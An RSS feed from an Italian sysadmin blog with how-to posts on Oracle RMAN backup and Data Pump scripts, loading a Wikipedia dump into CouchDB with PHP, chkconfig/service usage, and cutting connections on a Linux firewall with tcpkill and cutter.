<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>How To &#187; script</title>
	<atom:link href="http://installatore.wordpress.com/category/script/feed/" rel="self" type="application/rss+xml" />
	<link>http://installatore.wordpress.com</link>
	<description>Appunti di installazione...</description>
	<lastBuildDate>Thu, 07 Jan 2010 22:51:41 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>it</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='installatore.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/b589746b8ffcef8999fb6d7c81905164?s=96&#038;d=http://s2.wp.com/i/buttonw-com.png</url>
		<title>How To &#187; script</title>
		<link>http://installatore.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://installatore.wordpress.com/osd.xml" title="How To" />
	<atom:link rel='hub' href='http://installatore.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Rman full tablespace backup with control file</title>
		<link>http://installatore.wordpress.com/2010/01/07/rman-full-tablespace-backup-with-control-file/</link>
		<comments>http://installatore.wordpress.com/2010/01/07/rman-full-tablespace-backup-with-control-file/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 22:51:41 +0000</pubDate>
		<dc:creator>installatore</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[solaris]]></category>
		<category><![CDATA[rman]]></category>

		<guid isPermaLink="false">http://installatore.wordpress.com/?p=131</guid>
		<description><![CDATA[In questo post condivido uno script di backup completo del database per rman,lo script effettua anche il backup dei control file su un file di testo.La ritenzione è modificabile ed è impostata a 2 giorni.
Lo script che segue dovrà essere rinominato full_backup.rcv

run{
crosscheck backup;
crosscheck archivelog all;
change archivelog all crosscheck;
delete noprompt expired backup;
delete noprompt expired archivelog all;
delete [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=131&subd=installatore&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>In questo post condivido uno script di backup completo del database per rman,lo script effettua anche il backup dei control file su un file di testo.La ritenzione è modificabile ed è impostata a 2 giorni.</p>
<p>Lo script che segue dovrà essere rinominato full_backup.rcv</p>
<pre class="brush: java;">
run{
crosscheck backup;
crosscheck archivelog all;
change archivelog all crosscheck;
delete noprompt expired backup;
delete noprompt expired archivelog all;
delete noprompt obsolete redundancy 2;

allocate channel ch1 type disk;
backup format='/backup/rman/full_%d_%T_%U' tag='full_DBbackup_ris' database;
sql &quot;alter system switch logfile&quot;;
backup format='/backup/rman/arch_%d_%T_%U' tag='full_ARCHbackup_ris' archivelog all delete all input;
release channel ch1;

crosscheck backup;
crosscheck archivelog all;
change archivelog all crosscheck;
delete noprompt expired backup;
delete noprompt expired archivelog all;
delete noprompt obsolete redundancy 2;

sql &quot;alter database backup controlfile to trace as ''/backup/rman/controlfile_backup_trace.txt''&quot;;
}</pre>
<p>mentre questo è lo script da schedulare con cron per lanciarlo e dovrà essere rinominato run_full_backup.sh .Questi due file dovranno essere inseriti nella cartella /backup/script mentre i file del backup andranno sotto /backup/rman .Ovviamente la struttura delle cartelle è modificabile a vostro piacimento.</p>
<pre class="brush: java;">#!/bin/sh

set base_dir='dirname $0'

mv /backup/rman/controlfile_backup_trace.txt /backup/rman/previous/controlfile_backup_trace.txt

su - oracle -c &quot;rman nocatalog target sys/password cmdfile=/backup/script/full_backup.rcv log=/backup/script/rman.log&quot; </pre>
<p>Per effettuare i backup del database tramite rman dovete avere il database in modalità archivelog (trovate come abilitare questo tipo di modalità in un mio post precedente).Grazie a questi ultimi con rman riusciamo ad avere una granularità, nel successivo recupero dei dati dal media di backup,legato alla durata tra uno switch dei redolog e l&#8217;altro.Di solito i redolog vengono customizzati in quantità e dimensioni per ottenere circa 15 minuti tra lo switch di un log e l&#8217;altro,questi parametri variano molto di paripasso con l&#8217;elevata attività o meno sul db.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/installatore.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/installatore.wordpress.com/131/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/installatore.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/installatore.wordpress.com/131/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/installatore.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/installatore.wordpress.com/131/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/installatore.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/installatore.wordpress.com/131/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/installatore.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/installatore.wordpress.com/131/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=131&subd=installatore&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://installatore.wordpress.com/2010/01/07/rman-full-tablespace-backup-with-control-file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b537482f2745257f3904cfb47cbc98db?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">installatore</media:title>
		</media:content>
	</item>
		<item>
		<title>Load Wikipedia Xml dump on CouchDB</title>
		<link>http://installatore.wordpress.com/2010/01/06/load-wikipedia-xml-dump-on-couchdb/</link>
		<comments>http://installatore.wordpress.com/2010/01/06/load-wikipedia-xml-dump-on-couchdb/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 15:00:33 +0000</pubDate>
		<dc:creator>installatore</dc:creator>
				<category><![CDATA[cloud]]></category>
		<category><![CDATA[couchdb]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[scalability]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[couchdb-lucene]]></category>
		<category><![CDATA[wiki]]></category>
		<category><![CDATA[wikipedia]]></category>

		<guid isPermaLink="false">http://installatore.wordpress.com/?p=125</guid>
		<description><![CDATA[Dopo aver installato CouchDB su Centos 5 ,volevo provare a caricare qualche dato per fare delle prove su qualche migliaia di documenti.Così dopo aver scaricato l&#8217;ultimo dump completo in xml di Wikipedia Italia (raggiungibile al seguente url http://download.wikimedia.org/backup-index.html ).Ho creato questo script in php da lanciare da shell per effettuare il parsing dell&#8217;xml e inserirmi [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=125&subd=installatore&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Dopo aver installato CouchDB su Centos 5 ,volevo provare a caricare qualche dato per fare delle prove su qualche migliaia di documenti.Così dopo aver scaricato l&#8217;ultimo dump completo in xml di Wikipedia Italia (raggiungibile al seguente url <a href="http://download.wikimedia.org/backup-index.html">http://download.wikimedia.org/backup-index.html</a> ).Ho creato questo script in php da lanciare da shell per effettuare il parsing dell&#8217;xml e inserirmi all&#8217;interno di un documento Json titolo e testo di ciascuna pagina wiki.</p>
<pre class="brush: php;">#!/usr/bin/php -q

&lt;?PHP

/**

Raw Data Loader for Wikipedia XML Dump

*/

$couch_dsn = &quot;http://192.168.0.8:5984/&quot;;

$couch_db = &quot;test&quot;;

/**

* include the library

*/

require_once &quot;/var/www/html/lib/couch.php&quot;;

require_once &quot;/var/www/html/lib/couchClient.php&quot;;

require_once &quot;/var/www/html/lib/couchDocument.php&quot;;

/**

* create the client

*/

$client = new couchClient($couch_dsn,$couch_db);

echo &quot;#### Creating database &quot;.$client-&gt;getDatabaseUri().': $result = $client-&gt;createDatabase();'.&quot;\n&quot;;

try {

$result = $client-&gt;createDatabase();

} catch (Exception $e) {

if ( $e instanceof couchException ) {

echo &quot;We issued the request, but couch server returned an error.\n&quot;;

echo &quot;We can have HTTP Status code returned by couchDB using \$e-&gt;getCode() : &quot;. $e-&gt;getCode().&quot;\n&quot;;

echo &quot;We can have error message returned by couchDB using \$e-&gt;getMessage() : &quot;. $e-&gt;getMessage().&quot;\n&quot;;

echo &quot;Finally, we can have CouchDB's complete response body using \$e-&gt;getBody() : &quot;. print_r($e-&gt;getBody(),true).&quot;\n&quot;;

&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;echo &quot;Are you sure that your CouchDB server is at $couch_dsn, and that database $couch_db does not exist ?\n&quot;;

exit (1);

} else {

echo &quot;It seems that something wrong happened. You can have more details using :\n&quot;;

echo &quot;the exception class with get_class(\$e) : &quot;.get_class($e).&quot;\n&quot;;

echo &quot;the exception error code with \$e-&gt;getCode() : &quot;.$e-&gt;getCode().&quot;\n&quot;;

echo &quot;the exception error message with \$e-&gt;getMessage() : &quot;.$e-&gt;getMessage().&quot;\n&quot;;

exit (1);

}

}

echo &quot;Database successfully created. CouchDB sent the response :&quot;.print_r($result,true).&quot;\n&quot;;

$wiki = new DOMDocument();

$wiki-&gt;load( '/tmp/couchdb/itwikisource-20100101-pages-articles.xml' );

$pages = $wiki-&gt;getElementsByTagName( &quot;page&quot; );

foreach( $pages as $page )

{

$titles = $page-&gt;getElementsByTagName( &quot;title&quot; );

$title = $titles-&gt;item(0)-&gt;nodeValue;

$texts = $page-&gt;getElementsByTagName( &quot;text&quot; );

$text = $texts-&gt;item(0)-&gt;nodeValue;

&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;echo &quot;#### Storing a document without _id property\n&quot;;

$doc = new stdClass();

$doc-&gt;title = $title;

$doc-&gt;text = $text;

echo &quot;Storing \$doc : \$client-&gt;storeDoc(\$doc)\n&quot;;

try {

$response = $client-&gt;storeDoc($doc);

} catch (Exception $e) {

echo &quot;Something weird happened: &quot;.$e-&gt;getMessage().&quot; (errcode=&quot;.$e-&gt;getCode().&quot;)\n&quot;;

exit(1);

}

echo &quot;The document is stored. CouchDB response body: &quot;.print_r($response,true).&quot;\n&quot;;

echo &quot;CouchDB created the unique identifier &quot;.$response-&gt;id.&quot; for this document\n&quot;;

}

?&gt;</pre>
<p>Allego il codice dei tre file che vado ad includere a questo link <a href="http://jump.fm/XCQTG">http://jump.fm/XCQTG</a> (è uno short link verso 2shared.com).</p>
<p>Il funzionamento del codice come vedete è molto semplice grazie a queste Api in php per CouchDB.Adesso dopo aver importato circa 750000 record in 1 ora e mezza (contando che lo sto facendo girare su una vm è un buon risultato <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ),il prossimo passo sarà quello di implementare una ricerca full-text sul db.Purtroppo CouchDB non è dotato nativamente di una ricerca di questo tipo pertanto deve essere aggiunta tramite un tool esterno sempre opensource chiamato couchdb-lucene reperibile su github a questa url <a href="http://github.com/rnewson/couchdb-lucene">http://github.com/rnewson/couchdb-lucene</a> ,purtroppo pur avendo compilato e configurato tutto a dovere ottengo questo errore andando ad utilizzare gli indici full-text</p>
<pre>Traceback (most recent call last):
  File "/usr/local/etc/couchdb-lucene-0.5-SNAPSHOT/tools/couchdb-external-hook.py", line 43, in main
    resp = respond(res, req, opts.local_host, opts.local_port)
  File "/usr/local/etc/couchdb-lucene-0.5-SNAPSHOT/tools/couchdb-external-hook.py", line 87, in respond
    res.request("GET", path, headers=req_headers)
  File "/usr/lib/python2.4/httplib.py", line 810, in request
    self._send_request(method, url, body, headers)
  File "/usr/lib/python2.4/httplib.py", line 833, in _send_request
    self.endheaders()
  File "/usr/lib/python2.4/httplib.py", line 804, in endheaders
    self._send_output()
  File "/usr/lib/python2.4/httplib.py", line 685, in _send_output
    self.send(msg)
  File "/usr/lib/python2.4/httplib.py", line 652, in send
    self.connect()
  File "/usr/lib/python2.4/httplib.py", line 636, in connect
    raise socket.error, msg
error: (111, 'Connection refused')</pre>
<p>Purtroppo non riesco ad arrivare a capo del problema&#8230;.se qualcun altro ha avuto esperienze con un errore simile lo prego di contattarmi. <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/installatore.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/installatore.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/installatore.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/installatore.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/installatore.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/installatore.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/installatore.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/installatore.wordpress.com/125/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/installatore.wordpress.com/125/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/installatore.wordpress.com/125/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=125&subd=installatore&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://installatore.wordpress.com/2010/01/06/load-wikipedia-xml-dump-on-couchdb/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b537482f2745257f3904cfb47cbc98db?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">installatore</media:title>
		</media:content>
	</item>
		<item>
		<title>How to use chkconfig and service utility in Red Hat and  CentOS distributions</title>
		<link>http://installatore.wordpress.com/2009/09/20/how-to-use-chkconfig-and-service-utility-in-red-hat-and-centos-distributions/</link>
		<comments>http://installatore.wordpress.com/2009/09/20/how-to-use-chkconfig-and-service-utility-in-red-hat-and-centos-distributions/#comments</comments>
		<pubDate>Sun, 20 Sep 2009 13:03:01 +0000</pubDate>
		<dc:creator>installatore</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[chkconfig]]></category>
		<category><![CDATA[redhat]]></category>
		<category><![CDATA[service]]></category>

		<guid isPermaLink="false">http://installatore.wordpress.com/?p=94</guid>
		<description><![CDATA[In tutte le release di CentOS nonchè di RedHat troviamo due utility per gestire l&#8217;avvio e il kill dei servizi nei vari runlevel,il primo è chkconfig che ci permette di rendere automatica e di facile standardizzazione l&#8217;installazione come servizi delle proprie applicazioni,mentre con service possiamo startare/stoppare e restartare qualunque applicazione senza dover mettere il path [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=94&subd=installatore&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>In tutte le release di CentOS nonchè di RedHat troviamo due utility per gestire l&#8217;avvio e il kill dei servizi nei vari runlevel,il primo è chkconfig che ci permette di rendere automatica e di facile standardizzazione l&#8217;installazione come servizi delle proprie applicazioni,mentre con service possiamo startare/stoppare e restartare qualunque applicazione senza dover mettere il path <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Per esempio vediamo l&#8217;init script di un programma preinstallato come OpenSSH.</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">[root@rac2 init.d]# head -8 sshd
#!/bin/bash
#
# Init file for OpenSSH server daemon
#
# chkconfig: 2345 55 25
# description: OpenSSH server daemon
#</pre>
<p>Come possiamo vedere qui sopra vi è una linea chkconfig ,che verrà letta dai comandi a lui correlati.Adesso vediamo cosa significano i numeri di quella riga.</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;"> chkconfig: 2345 55 25
            |    |   |_Priorità nella fase di kill del programma (es. il link in /etc/rc.d/rc0.d sarà K25sshd)
            |    |_____Priorità di start del programma    (es. il link in /etc/rc.d/rc3.d sarà S55sshd
            |__________Enumero i runlevels su cui deve essere attivo il programma</pre>
<p>Quindi una volta configurata questa riga nei nostri init script,la andiamo a copiare in /etc/init.d quindi daremo i seguenti comandi:<br />
Aggiungo i link nei runlevel specificati&#8230;</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">chkconfig sshd --add</pre>
<p>Abilito il programma&#8230;</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">chkconfig sshd on</pre>
<p>Quindi effettuo un listing per vedere se tutto ha funzionato correttamente&#8230;</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">chkconfig sshd --list</pre>
<p>L&#8217;output sarà qualcosa del tipo&#8230;</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">[root@rac2 /]# chkconfig sshd --list
sshd            0:off   1:off   2:on    3:on    4:on    5:on    6:off</pre>
<p>Adesso che tutto è configurato possiamo far partire il programma in questo modo&#8230;</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">[root@rac2 /]# service sshd start</pre>
<p>Piuttosto che fare&#8230;</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">[root@rac2 rc2.d]# /etc/rc.d/init.d/sshd start</pre>
<p>E per avere lo status di tutti i nostri servizi /programmi basterà lanciare&#8230;</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">[root@rac2 /]# service --status-all
apmd (pid 682) is running...
arpwatch is stopped
atd (pid 1151) is running...
cannaserver (pid 985) is running...
crond (pid 1003) is running...
cserver (pid 966) is running...
jserver (pid 946) is running...
gpm is stopped
identd is stopped
ipchains: Incompatible with this kernel
No status available for this package
kserver (pid 1023) is running...
lpd is stopped</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/installatore.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/installatore.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/installatore.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/installatore.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/installatore.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/installatore.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/installatore.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/installatore.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/installatore.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/installatore.wordpress.com/94/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=94&subd=installatore&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://installatore.wordpress.com/2009/09/20/how-to-use-chkconfig-and-service-utility-in-red-hat-and-centos-distributions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b537482f2745257f3904cfb47cbc98db?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">installatore</media:title>
		</media:content>
	</item>
		<item>
		<title>Linux Firewall How to abort (cut) specific connections</title>
		<link>http://installatore.wordpress.com/2009/09/13/linux-firewall-how-to-abort-cut-specific-connections/</link>
		<comments>http://installatore.wordpress.com/2009/09/13/linux-firewall-how-to-abort-cut-specific-connections/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 11:03:01 +0000</pubDate>
		<dc:creator>installatore</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[connections]]></category>
		<category><![CDATA[cutter]]></category>
		<category><![CDATA[iptraf]]></category>
		<category><![CDATA[kill]]></category>
		<category><![CDATA[netstat]]></category>
		<category><![CDATA[ntop]]></category>
		<category><![CDATA[tcpkill]]></category>

		<guid isPermaLink="false">http://installatore.wordpress.com/?p=88</guid>
		<description><![CDATA[Alcune volte capita gestendo Firewall basati su distribuzioni Linux di dover killare eventuali connessioni superfluee,o non autorizzate o più semplicemente terminare vpn lasciate aperte dagli impiegati piuttosto che terminare connessioni con alti consumi di banda nonchè peer-to-peer.Per fare ciò non possiamo affidarci al solito comando netstat dovremmo imparare a utilizzare altri due comandi disponibili in [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=88&subd=installatore&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Alcune volte capita gestendo Firewall basati su distribuzioni Linux di dover killare eventuali connessioni superfluee,o non autorizzate o più semplicemente terminare vpn lasciate aperte dagli impiegati piuttosto che terminare connessioni con alti consumi di banda nonchè peer-to-peer.Per fare ciò non possiamo affidarci al solito comando <strong>netstat </strong>dovremmo imparare a utilizzare altri due comandi disponibili in linux.</p>
<p>Il primo comando disponibile è il comando <strong>tcpkill</strong>.</p>
<p>La sintassi del comando è:</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">tcpkill -i eth0 { expression }</pre>
<p>Per esempio per poter killare tutte le connessioni in uscita sulla porta 21 (ftp) potremmo usare il comando nella seguente maniera.</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">tcpkill -i eth0 port 21</pre>
<p>Oppure bloccare completamente tutte le connessioni da e per un determinato host.</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">tcpkill host 192.168.0.123</pre>
<p>Altrimenti bloccare tutti i pacchetti tra un determinato host e tutti gli altri pc in rete ad esclusione del nostro.</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">tcpkill ip host 192.168.0.123 and not 192.168.0.15</pre>
<p>Il secondo è <strong>cutter</strong>.</p>
<p>Per esempio se volessimo terminare tutte le connessioni da un&#8217;host al resto del mondo.</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">cutter 192.168.0.123</pre>
<p>Se invece ci interessa terminare solo le connessioni ssh.</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">cutter 192.168.0.123 22</pre>
<p>Se vogliamo essere più specifici e bloccare tutte le connessioni ssh dal 192.168.0.123 al server remoto 123.123.123.123 la sintassi sarà la seguente.</p>
<pre style="color:#000000;background-color:#f0f0f0;border:1px solid #c0c0c0;">cutter 123.123.123.123 192.168.0.123 22</pre>
<p>Direi che questi 2 utilissimi comandi se usati in aggiunta ad iptraf o ad altri programmi di monitoring come ntop permettono anche l&#8217;automazione di eventuali operazioni ripetitive come la disconnessione do tutte le vpn alla fine del turno di lavoro.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/installatore.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/installatore.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/installatore.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/installatore.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/installatore.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/installatore.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/installatore.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/installatore.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/installatore.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/installatore.wordpress.com/88/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=88&subd=installatore&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://installatore.wordpress.com/2009/09/13/linux-firewall-how-to-abort-cut-specific-connections/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b537482f2745257f3904cfb47cbc98db?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">installatore</media:title>
		</media:content>
	</item>
		<item>
		<title>Oracle Datapump</title>
		<link>http://installatore.wordpress.com/2009/09/03/oracle-datapump/</link>
		<comments>http://installatore.wordpress.com/2009/09/03/oracle-datapump/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 15:15:21 +0000</pubDate>
		<dc:creator>installatore</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Varie]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[datapump]]></category>
		<category><![CDATA[dba]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[export]]></category>
		<category><![CDATA[imp]]></category>
		<category><![CDATA[import]]></category>

		<guid isPermaLink="false">http://installatore.wordpress.com/?p=73</guid>
		<description><![CDATA[Nelle ultime versioni di Oracle Database (10 e 11) è stata introdotta una nuova funzione chiamata datapump.Questo va ad affiancare i vecchi comandi exp e imp,introducendo i comanid expdp e impdp.Con questa funzione gli import e gli export non sono più delle comnuni sessioni client-server tra il nostro client oracle e il db (con tutte [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=73&subd=installatore&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Nelle ultime versioni di Oracle Database (10 e 11) è stata introdotta una nuova funzione chiamata datapump.Questo va ad affiancare i vecchi comandi exp e imp,introducendo i comanid expdp e impdp.Con questa funzione gli import e gli export non sono più delle comnuni sessioni client-server tra il nostro client oracle e il db (con tutte le limitazioni del caso),ma sono dei processi lanciati direttamente sul server (si potrà fare export e import solo su file e directory presenti sul server),questo è un vantaggio perchè oracle può amministrare le risorse da destinare a questi processi anche in base al carico di lavoro del db (finalmente non faremo sedere il db a ogni export <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ).Vengono introdotte anche nuove funzioni che rendono più semplice la vita del dba (per esempio la possibilità di escludere/includere solo determinate tabelle nel processo di importazione/esportazione,e nel caso della versione enterprise si può specificare il grado di parallelismo che i processi possono raggiungere,quindi impostandolo per esempio a 4 avremo un export completato in 1/4 del tempo).</p>
<p>Cominciamo con dare gli opportuni grant all&#8217;utente che utilizzeremo per queste operazioni.</p>
<blockquote><p>CONN sys/password@rac10g AS SYSDBA<br />
ALTER USER fede IDENTIFIED BY 1234 ACCOUNT UNLOCK;<br />
GRANT CREATE ANY DIRECTORY TO fede;</p></blockquote>
<p>A questo punto creo una directory in Oracle che punti a una directory sul mio filesystem dando relativi grants al mio utente.</p>
<blockquote><p>CREATE OR REPLACE DIRECTORY DP_DIR AS &#8216;/u01/app/oracle/orabck/&#8217;;<br />
GRANT READ, WRITE ON DIRECTORY DP_DIR TO fede;</p></blockquote>
<p>Adesso possiamo cominciare con l&#8217;import o export di alcune tabelle,tramite il parametro TABLE,se volessimo andare a importare dei dati su una tabella già esistente dovremmo inserire anche il parametro TABLE_EXISTS_ACTION=APPEND</p>
<blockquote><p>expdp fede/1234@rac10g  tables=ANAGRAFICA,CREDITI directory=DP_DIR dumpfile=ANAG_CRED.dmp logfile=expdpANAG_CRED.log<br />
impdp fede/1234@rac10g  tables=ANAGRAFICA,CREDITI directory=DP_DIR dumpfile=ANAG_CRED.dmp logfile=impdpANAG_CRED.log</p></blockquote>
<p>Se invece vogliamo importare o esportare un intero schema non utilizzeremo più i parametri FROMUSER,TOUSER oppure OWNER,ma direttamente il parametro SCHEMAS.</p>
<blockquote><p>expdp fede/1234@rac10g  schemas=CRED10G directory=DP_DIR dumpfile=CRED10G.dmp logfile=expdpCRED10G.log<br />
impdp fede/1234@rac10g  schemas=CRED10G directory=DP_DIR dumpfile=CRED10G.dmp logfile=impdpCRED10G.log</p></blockquote>
<p>Per quanto riguarda l&#8217;import o l&#8217;export di un intero database rimane il parametro FULL=Y .</p>
<blockquote><p>expdp fede/1234@rac10g  full=y directory=DP_DIR dumpfile=CRED10G.dmp logfile=expdpCRED10G.log<br />
impdp fede/1234@rac10g  full=y directory=DP_DIR dumpfile=CRED10G.dmp logfile=impdpCRED10G.log</p></blockquote>
<p>Tutte le operazioni di import ed export sono eseguite da dei processi sul server che fanno capo a un processo padre che li gestisce (queueing e via dicendo).Infatti se per esempio una volta lanciati uno dei comandi sopra indicati si stoppa il comando con ctrl + c,viene terminata solo la sessione con l&#8217;utente e veniamo dirottati su una console da cui per esempio possiamo lanciare il comando &#8220;status&#8221; che avrà il seguente output:</p>
<blockquote><p>Export&gt; status</p>
<p>Job: SYS_EXPORT_FULL_01<br />
Operation: EXPORT<br />
Mode: FULL<br />
State: EXECUTING<br />
Bytes Processed: 0<br />
